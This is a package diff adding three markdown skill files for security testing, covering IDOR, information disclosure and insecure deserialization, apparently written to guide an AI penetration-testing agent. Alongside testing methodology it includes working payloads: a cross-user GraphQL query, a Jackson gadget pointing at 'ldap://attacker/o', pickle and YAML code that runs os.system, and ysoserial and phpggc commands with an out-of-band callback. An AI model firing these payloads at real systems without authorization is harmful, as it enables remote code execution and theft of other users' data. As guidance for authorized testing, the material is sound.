@gpzhang2001/sharpkit-skills 0.2.1

package/skills/vulnerabilities/idor.md

@@ -0,0 +1,217 @@
+---
+name: idor
+description: IDOR/BOLA testing for object-level authorization failures and cross-account data access
+---
+
+# IDOR
+
+Object-level authorization failures (BOLA/IDOR) lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.
+
+## Attack Surface
+
+**Scope**
+- Horizontal access: access another subject's objects of the same type
+- Vertical access: access privileged objects/actions (admin-only, staff-only)
+- Cross-tenant access: break isolation boundaries in multi-tenant systems
+- Cross-service access: token or context accepted by the wrong service
+
+**Reference Locations**
+- Paths, query params, JSON bodies, form-data, headers, cookies
+- JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
+
+**Identifier Forms**
+- Integers, UUID/ULID/CUID, Snowflake, slugs
+- Composite keys (e.g., `{orgId}:{userId}`)
+- Opaque tokens, base64/hex-encoded blobs
+
+**Relationship References**
+- parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
+
+**Expansion/Projection Knobs**
+- `fields`, `include`, `expand`, `projection`, `with`, `select`, `populate`
+- Often bypass authorization in resolvers or serializers
+
+## High-Value Targets
+
+- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
+- Messaging/mailbox/notifications, audit logs, activity feeds
+- Billing: invoices, payment methods, transactions, credits
+- Healthcare/education records, HR documents, PII/PHI/PCI
+- Admin/staff tools, impersonation/session management
+- File/object storage keys (S3/GCS signed URLs, share links)
+- Background jobs: import/export job IDs, task results
+- Multi-tenant resources: organizations, workspaces, projects
+
+## Reconnaissance
+
+**Parameter Analysis**
+- Pagination/cursors: `page[offset]`, `page[limit]`, `cursor`, `nextPageToken` (often reveal or accept cross-tenant/state)
+- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
+- Find undocumented params with `arjun -u <url>` (GET) or `arjun -u <url> -m POST` —
+  surfaces hidden filters like `?include_deleted=1`, `?as_user=…`, `?owner_id=…`
+  that frequently widen the IDOR surface.
+
+**Enumeration Techniques**
+- Alternate types: `{"id":123}` vs `{"id":"123"}`, arrays vs scalars, objects vs scalars
+- Edge values: null/empty/0/-1/MAX_INT, scientific notation, overflows
+- Duplicate keys/parameter pollution: `id=1&id=2`, JSON duplicate keys `{"id":1,"id":2}` (parser precedence)
+- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
+- Path traversal-like in virtual file systems: `/files/user_123/../../user_456/report.csv`
+
+**UUID/Opaque ID Sources**
+- Logs, exports, JS bundles, analytics endpoints, emails, public activity
+- Time-based IDs (UUIDv1, ULID) may be guessable within a window
+
+## Key Vulnerabilities
+
+### Horizontal & Vertical Access
+
+- Swap object IDs between principals using the same token to probe horizontal access
+- Repeat with lower-privilege tokens to probe vertical access
+- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
+
+### Bulk & Batch Operations
+
+- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
+- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
+
+### Secondary IDOR
+
+- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs
+- Fetch or mutate those objects directly
+- Pagination/cursor manipulation to skip filters and pull other users' pages
+
+### Job/Task Objects
+
+- Access job/task IDs from one user to retrieve results for another (`export/{jobId}/download`, `reports/{taskId}`)
+- Cancel/approve someone else's jobs by referencing their task IDs
+
+### File/Object Storage
+
+- Direct object paths or weakly scoped signed URLs
+- Attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
+- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
+
+### GraphQL
+
+- Enforce resolver-level checks: do not rely on a top-level gate
+- Verify field and edge resolvers bind the resource to the caller on every hop
+- Abuse batching/aliases to retrieve multiple users' nodes in one request
+- Global node patterns (Relay): decode base64 IDs and swap raw IDs
+- Overfetching via fragments on privileged types
+
+```graphql
+query IDOR {
+  me { id }
+  u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
+  u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
+}
+```
+
+### Microservices & Gateways
+
+- Token confusion: token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
+- Trust on headers: reverse proxies or API gateways injecting/trusting headers like `X-User-Id`, `X-Organization-Id`; try overriding or removing them
+- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
+
+### Multi-Tenant
+
+- Probe tenant scoping through headers, subdomains, and path params (`X-Tenant-ID`, org slug)
+- Try mixing org of token with resource from another org
+- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
+
+### WebSocket
+
+- Authorization per-subscription: ensure channel/topic names cannot be guessed (`user_{id}`, `org_{id}`)
+- Subscribe/publish checks must run server-side, not only at handshake
+- Try sending messages with target user IDs after subscribing to own channels
+
+### gRPC
+
+- Direct protobuf fields (`owner_id`, `tenant_id`) often bypass HTTP-layer middleware
+- Validate references via grpcurl with tokens from different principals
+
+### Integrations
+
+- Webhooks/callbacks referencing foreign objects (e.g., `invoice_id`) processed without verifying ownership
+- Third-party importers syncing data into wrong tenant due to missing tenant binding
+
+## Bypass Techniques
+
+**Parser & Transport**
+- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
+- Method tunneling: `X-HTTP-Method-Override`, `_method=PATCH`; or using GET on endpoints incorrectly accepting state changes
+- JSON duplicate keys/array injection to bypass naive validators
+
+**Parameter Pollution**
+- Duplicate parameters in query/body to influence server-side precedence (`id=123&id=456`); try both orderings
+- Mix case/alias param names so gateway and backend disagree (userId vs userid)
+
+**Cache & Gateway**
+- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users
+- Manipulate Vary and Accept headers
+- Redirect chains and 304/206 behaviors can leak content across tenants
+
+**Race Windows**
+- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
+
+**Blind Channels**
+- Use differential responses (status, size, ETag, timing) to detect existence
+- Error shape often differs for owned vs foreign objects
+- HEAD/OPTIONS, conditional requests (`If-None-Match`/`If-Modified-Since`) can confirm existence without full content
+
+## Chaining Attacks
+
+- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
+- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
+- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
+- IDOR + Race: bypass spot checks with simultaneous requests
+
+## Testing Methodology
+
+1. **Build matrix** - Subject × Object × Action matrix (who can do what to which resource)
+2. **Obtain principals** - At least two: owner and non-owner (plus admin/staff if applicable)
+3. **Collect IDs** - Capture at least one valid object ID per principal from list/search/export endpoints
+4. **Cross-channel testing** - Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants
+5. **Transport variation** - Test across web, mobile, API, GraphQL, WebSocket, gRPC
+6. **Consistency check** - Same rule must hold regardless of transport, content-type, serialization, or gateway
+
+## Validation
+
+1. Demonstrate access to an object not owned by the caller (content or metadata)
+2. Show the same request fails with appropriately enforced authorization when corrected
+3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL)
+4. Document tenant boundary violations (if applicable)
+5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner)
+
+## False Positives
+
+- Public/anonymous resources by design
+- Soft-privatized data where content is already public
+- Idempotent metadata lookups that do not reveal sensitive content
+- Correct row-level checks enforced across all channels
+- Empty array / null returned for another user's resource — silent enforcement, not exposure; compare against the owner's view to confirm the data is actually missing rather than just hidden from the response shape
+
+## Impact
+
+- Cross-account data exposure (PII/PHI/PCI)
+- Unauthorized state changes (transfers, role changes, cancellations)
+- Cross-tenant data leaks violating contractual and regulatory boundaries
+- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
+
+## Pro Tips
+
+1. Always test list/search/export endpoints first; they are rich ID seeders
+2. Build a reusable ID corpus from logs, notifications, emails, and client bundles
+3. Toggle content-types and transports; authorization middleware often differs per stack
+4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children
+5. In multi-tenant apps, vary org headers, subdomains, and path params independently
+6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks
+7. Inspect gateways for header trust and cache key configuration
+8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding
+9. Use timing/size/ETag differentials for blind confirmation when content is masked
+10. Prove impact with precise before/after diffs and role-separated evidence
+
+## Summary
+
+Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.

package/skills/vulnerabilities/information_disclosure.md

@@ -0,0 +1,187 @@
+---
+name: information-disclosure
+description: Information disclosure testing covering error messages, debug endpoints, metadata leakage, and source exposure
+---
+
+# Information Disclosure
+
+Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.
+
+## Attack Surface
+
+- Errors and exception pages: stack traces, file paths, SQL, framework versions
+- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
+- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
+- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
+- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
+- Client bundles and source maps: webpack/Vite maps, embedded env, `__NEXT_DATA__`, static JSON
+- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
+- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
+- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
+- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
+
+## High-Value Surfaces
+
+### Errors and Exceptions
+
+- SQL/ORM errors: reveal table/column names, DBMS, query fragments
+- Stack traces: absolute paths, class/method names, framework versions, developer emails
+- Template engine probes: `{{7*7}}`, `${7*7}` identify templating stack
+- JSON/XML parsers: type mismatches leak internal model names
+
+### Debug and Env Modes
+
+- Debug pages: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
+- Profiler endpoints: `/debug/pprof`, `/actuator`, `/_profiler`, custom `/debug` APIs
+- Feature/config toggles exposed in JS or headers
+
+### DVCS and Backups
+
+- DVCS: `/.git/` (HEAD, config, index, objects), `.svn/entries`, `.hg/store` → reconstruct source and secrets
+- Backups/temp: `.bak`/`.old`/`~`/`.swp`/`.swo`/`.tmp`/`.orig`, db dumps, zipped deployments
+- Build artifacts: dist artifacts containing `.map`, env prints, internal URLs
+
+### Configs and Secrets
+
+- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
+- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens
+- Credentials and connection strings; internal hosts and ports; JWT secrets
+
+### API Schemas and Introspection
+
+- OpenAPI/Swagger: `/swagger`, `/api-docs`, `/openapi.json` — enumerate hidden/privileged operations
+- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields
+- gRPC: server reflection exposing services/messages
+
+### Client Bundles and Maps
+
+- Source maps (`.map`) reveal original sources, comments, and internal logic
+- Client env leakage: `NEXT_PUBLIC_`/`VITE_`/`REACT_APP_` variables; embedded secrets
+- `__NEXT_DATA__` and pre-fetched JSON can include internal IDs, flags, or PII
+
+### Headers and Response Metadata
+
+- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
+- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
+- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range
+
+### Storage and Exports
+
+- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
+- Signed URLs: long-lived, weakly scoped, re-usable across tenants
+- Export/report endpoints returning foreign data sets or unfiltered fields
+
+### Observability and Admin
+
+- Metrics: Prometheus `/metrics` exposing internal hostnames, process args
+- Health/config: `/actuator/health`, `/actuator/env`, Spring Boot info endpoints
+- Tracing UIs: Jaeger/Zipkin/Kibana/Grafana exposed without auth
+
+### Cross-Origin Signals
+
+- Referrer leakage: missing/weak referrer policy leading to path/query/token leaks to third parties
+- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
+
+### File Metadata
+
+- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
+
+### Cloud Storage
+
+- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
+- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
+
+## Key Vulnerabilities
+
+### Differential Oracles
+
+- Compare owner vs non-owner vs anonymous for the same resource
+- Track: status, length, ETag, Last-Modified, Cache-Control
+- HEAD vs GET: header-only differences can confirm existence
+- Conditional requests: 304 vs 200 behaviors leak existence/state
+
+### CDN and Cache Keys
+
+- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers
+- Vary misconfiguration: user-agent/language vary without auth vary leaks content
+- 206 partial content + stale caches leak object fragments
+
+### Cross-Channel Mirroring
+
+- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC
+- SSR vs CSR: server-rendered pages omit fields while JSON API includes them
+
+## Triage Rubric
+
+- **Critical**: Direct disclosure of secrets that provide broad privileged control, with successful use validated where safe
+- **High**: Direct disclosure of highly sensitive data, cross-tenant data, or credentials with serious demonstrated access
+- **Medium**: Unauthorized access to a limited set of genuinely restricted data, or a fully validated chain from the disclosure to a concrete security consequence
+- **Low**: Limited unauthorized disclosure with modest sensitivity and no serious direct consequence
+- **Informational / no report**: Public or intended client data, generic headers, internal names or private addresses, versions without a reachable exploit, and source maps or diagnostics that expose no secrets or restricted source
+
+Do not assign Confidentiality Low merely because information helps reconnaissance. CVSS C:L requires actual access to restricted information. If a path, hostname, version, source map, schema, or debug value only suggests a possible second vulnerability, either validate that complete chain and score its demonstrated outcome or leave C:N and omit the vulnerability report.
+
+## Exploitation Chains
+
+### Credential Extraction
+- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
+- Keys → cloud control plane access
+
+### Version to CVE
+1. Derive precise component versions from headers/errors/bundles
+2. Map to known CVEs and confirm reachability
+3. Execute minimal proof targeting disclosed component
+
+### Path Disclosure to LFI
+1. Paths from stack traces/templates reveal filesystem layout
+2. Use LFI/traversal to fetch config/keys
+
+### Schema to Auth Bypass
+1. Schema reveals hidden fields/endpoints
+2. Attempt requests with those fields; confirm missing authorization
+
+## Testing Methodology
+
+1. **Build channel map** - Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN
+2. **Establish diff harness** - Compare owner vs non-owner vs anonymous; normalize on status/body length/ETag/headers
+3. **Trigger controlled failures** - Malformed types, boundary values, missing params, alternate content-types
+4. **Enumerate artifacts** - DVCS folders, backups, config endpoints, source maps, client bundles, API docs
+5. **Correlate to impact** - Versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass
+
+## Validation
+
+1. Provide raw evidence (headers/body/artifact) and explain exact data revealed
+2. Determine intent: cross-check docs/UX; classify per triage rubric
+3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain
+4. Show reproducibility and minimal request set
+5. Bound scope (user, tenant, environment) and data sensitivity classification
+6. Map each non-None CVSS impact metric to evidence of actual restricted disclosure, modification, or service interruption
+
+## False Positives
+
+- Intentional public docs or non-sensitive metadata with no exploit path
+- Generic errors with no actionable details
+- Redacted fields that do not change differential oracles
+- Version banners with no exposed vulnerable surface and no chain
+- Owner-visible-only details that do not cross identity/tenant boundaries
+
+## Impact
+
+- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths
+- Credential/secret exposure leading to persistent external compromise
+- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs
+- Privacy/regulatory violations and business intelligence leakage
+
+## Pro Tips
+
+1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins
+2. Normalize responses and diff by digest to reduce noise when comparing roles
+3. Hunt source maps and client data JSON; they often carry internal IDs and flags
+4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant
+5. Treat introspection and reflection as configuration findings across GraphQL/gRPC
+6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups
+7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible
+
+## Summary
+
+Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.

package/skills/vulnerabilities/insecure_deserialization.md

@@ -0,0 +1,210 @@
+---
+name: insecure-deserialization
+description: Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
+---
+
+# Insecure Deserialization
+
+Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
+
+## Attack Surface
+
+**Formats**
+- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML), Hessian/Burlap, Kryo
+- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
+- PHP: `unserialize()`, Phar deserialization
+- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
+- Ruby: `Marshal.load`, YAML.load
+- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
+
+**Transports and Containers**
+- Java RMI/JMX, HTTP/RPC endpoints, messaging protocols, queues, signed wrappers, and product-specific binary envelopes can carry one or more formats above
+
+**Input Locations**
+- Cookies, session tokens, hidden form fields
+- API parameters (`data`, `state`, `object`, base64 blobs)
+- Message queues, WebSocket binary frames, file uploads
+- Cache entries, database columns storing serialized objects
+
+## Reconnaissance
+
+**Detection Signals**
+- Base64 blobs starting with magic bytes:
+  - Java: `ac ed 00 05` (hex `rO0` base64)
+  - PHP: `O:`, `a:`, `s:` prefixes after decode
+  - .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff`
+- `Content-Type` with binary or custom serialization
+- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions
+
+**White-Box Indicators**
+```
+pickle.loads    unserialize(    ObjectInputStream    BinaryFormatter
+yaml.load       readObject(     TypeNameHandling    Marshal.load
+```
+
+## Key Vulnerabilities
+
+### Java Deserialization
+
+**Gadget Chains**
+- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)
+- Tools: ysoserial (authorized testing only), manual chain selection by classpath
+
+**Test Flow**
+1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)
+2. Fingerprint library versions from errors, headers, or bundled libs
+3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution
+
+**Jackson / JSON Typing**
+```json
+["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
+```
+When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
+
+**JNDI Pivots from Object Construction**
+
+JNDI injection is not itself a serialization format. It becomes part of this workflow when an attacker-selected type, setter, or gadget performs `Context.lookup()` during object construction or property population. `JdbcRowSetImpl` and some historical polymorphic JSON chains are examples; Log4j lookups reach JNDI through a different input path and should not be classified as deserialization.
+
+- Trace fields such as `dataSourceName`, `jndiName`, and `namingURL` into the exact lookup API and provider.
+- Record the accepted schemes/provider factories (`ldap`, `ldaps`, `rmi`, DNS URL context, or application-specific naming providers). A `dns://` value is not a universal oracle; it works only when the relevant DNS provider and lookup path are present.
+- Separate network lookup, remote object/reference processing, serialized LDAP attributes, remote codebase loading, and local object-factory invocation. Each is a different capability with different runtime controls.
+- JEP 290 filters incoming Java serialization graphs; it does not disable JNDI remote codebase loading. JNDI providers gained separate remote-class-loading and serialized-data controls across JDK updates, and current JDKs disable remote code downloading by default. Record the exact JDK build and relevant provider properties instead of using a single “modern Java” rule.
+- When remote class loading is unavailable, test whether the returned reference can reach a compatible **local** `ObjectFactory`, bean-property path, expression engine, script engine, or other class already present. Confirm exact class names, versions, module access, and trigger methods from the deployed classpath.
+
+**Hessian / Burlap**
+- Binary RPC formats deserialized by `HessianInput`/`Hessian2Input`. Attacker object graphs reach gadgets even though it is not native Java serialization.
+- Treat serializer version, allowed type metadata, constructors/setters invoked, collection/comparator behavior, and classpath as independent prerequisites.
+- Pair `semantic_confusion` when a proxy or route policy is expected to make the RPC endpoint unreachable.
+- Inspect the exact deployed libraries rather than relying on generic gadget labels; similar-looking Spring, Resin, Tomcat, XBean, EL, or Groovy classes are not interchangeable.
+
+### Python Pickle
+
+Pickle executes arbitrary code during unpickling by design:
+```python
+import pickle, os, base64
+class Exploit:
+    def __reduce__(self):
+        return (os.system, ('id',))
+# base64 encode pickle.dumps(Exploit()) and send as cookie/param
+```
+
+**YAML**
+```yaml
+!!python/object/apply:os.system ['id']
+```
+When `yaml.load` used instead of `yaml.safe_load`.
+
+### PHP unserialize()
+
+**Object Injection**
+- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call`
+- POP chains through framework classes (Laravel, Symfony, WordPress plugins)
+
+**Phar Deserialization**
+- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations
+
+### .NET Deserialization
+
+**BinaryFormatter / LosFormatter**
+- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)
+
+**Json.NET**
+```json
+{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
+```
+When `TypeNameHandling` != `None`.
+
+**ViewState**
+- MAC disabled or weak machine keys → forge deserialized view state
+
+### Ruby Marshal
+
+- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent)
+
+## Advanced Techniques
+
+**Signed Blob Bypass**
+- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload
+- Strip signature and test unsigned code paths
+- Length extension on MAC if applicable (older custom schemes)
+
+**Second-Order Deserialization**
+- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job
+
+**Compression Wrappers**
+- Gzip/base64 nested encoding bypassing naive WAF inspection
+
+## Testing Methodology
+
+1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data
+2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint
+3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC
+4. **Gadget selection** — Match classpath/runtime version to available chains
+5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command
+6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early
+
+## Validation
+
+1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)
+2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation
+3. Provide encoded payload and exact injection point (cookie name, parameter, header)
+4. Confirm on fixed version or alternate instance that identical payload fails safely
+5. Document library/version and gadget chain class names for remediation
+
+## False Positives
+
+- Base64 data is encrypted or signed with verified HMAC before deserialization
+- Only primitive types deserialized (whitelist schema, no polymorphic types)
+- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation
+- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)
+- Error mentions serialization class but input is never passed to unmarshal (dead code path)
+
+## Bypass Methods
+
+- Encoding layers: base64 → gzip → serialize
+- Alternative parameters storing same session (`session`, `session_backup`, `state`)
+- Switch content-type or parameter location (GET vs POST vs cookie)
+- Type confusion: JSON array vs object hitting different deserializer branches
+- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)
+
+## Impact
+
+- Remote code execution on application servers
+- Authentication bypass via forged session objects
+- Privilege escalation through manipulated role/admin fields in deserialized classes
+- Full application compromise in Java/PHP/.NET stacks with known gadget libraries
+
+## Pro Tips
+
+1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise
+2. Start with DNS/HTTP callback gadgets before command execution in production-like targets
+3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
+4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
+5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
+6. Model JNDI lookup, reference/object processing, remote codebase loading, and local factory invocation as separate stages
+7. A "blocked" enterprise deserialization endpoint may still be reachable through a proxy/path-normalization mismatch — pair `semantic_confusion`
+
+## Tooling
+
+Payload generation is the practitioner's core tool here. The sandbox has `git`/`python`/`go` and **interactsh-client** (OAST); add a JRE or `php-cli` if you need the Java/PHP generators.
+
+| Tool | Language / format | Use |
+|------|-------------------|-----|
+| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
+| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
+| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
+| **marshalsec** | Java Hessian/Burlap, Kryo, JSON, and JNDI reference tooling | Use only from a reviewed, pinned upstream commit when a non-native Java marshaller requires it. It has no stable release and intentionally bundles historical gadget dependencies; do not treat it as a globally installed default tool. |
+
+```
+# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
+java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0
+
+# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget
+./phpggc -b Laravel/RCE9 system id
+```
+
+Confirm the sink with a callback (`URLDNS` / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.
+
+## Summary
+
+Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.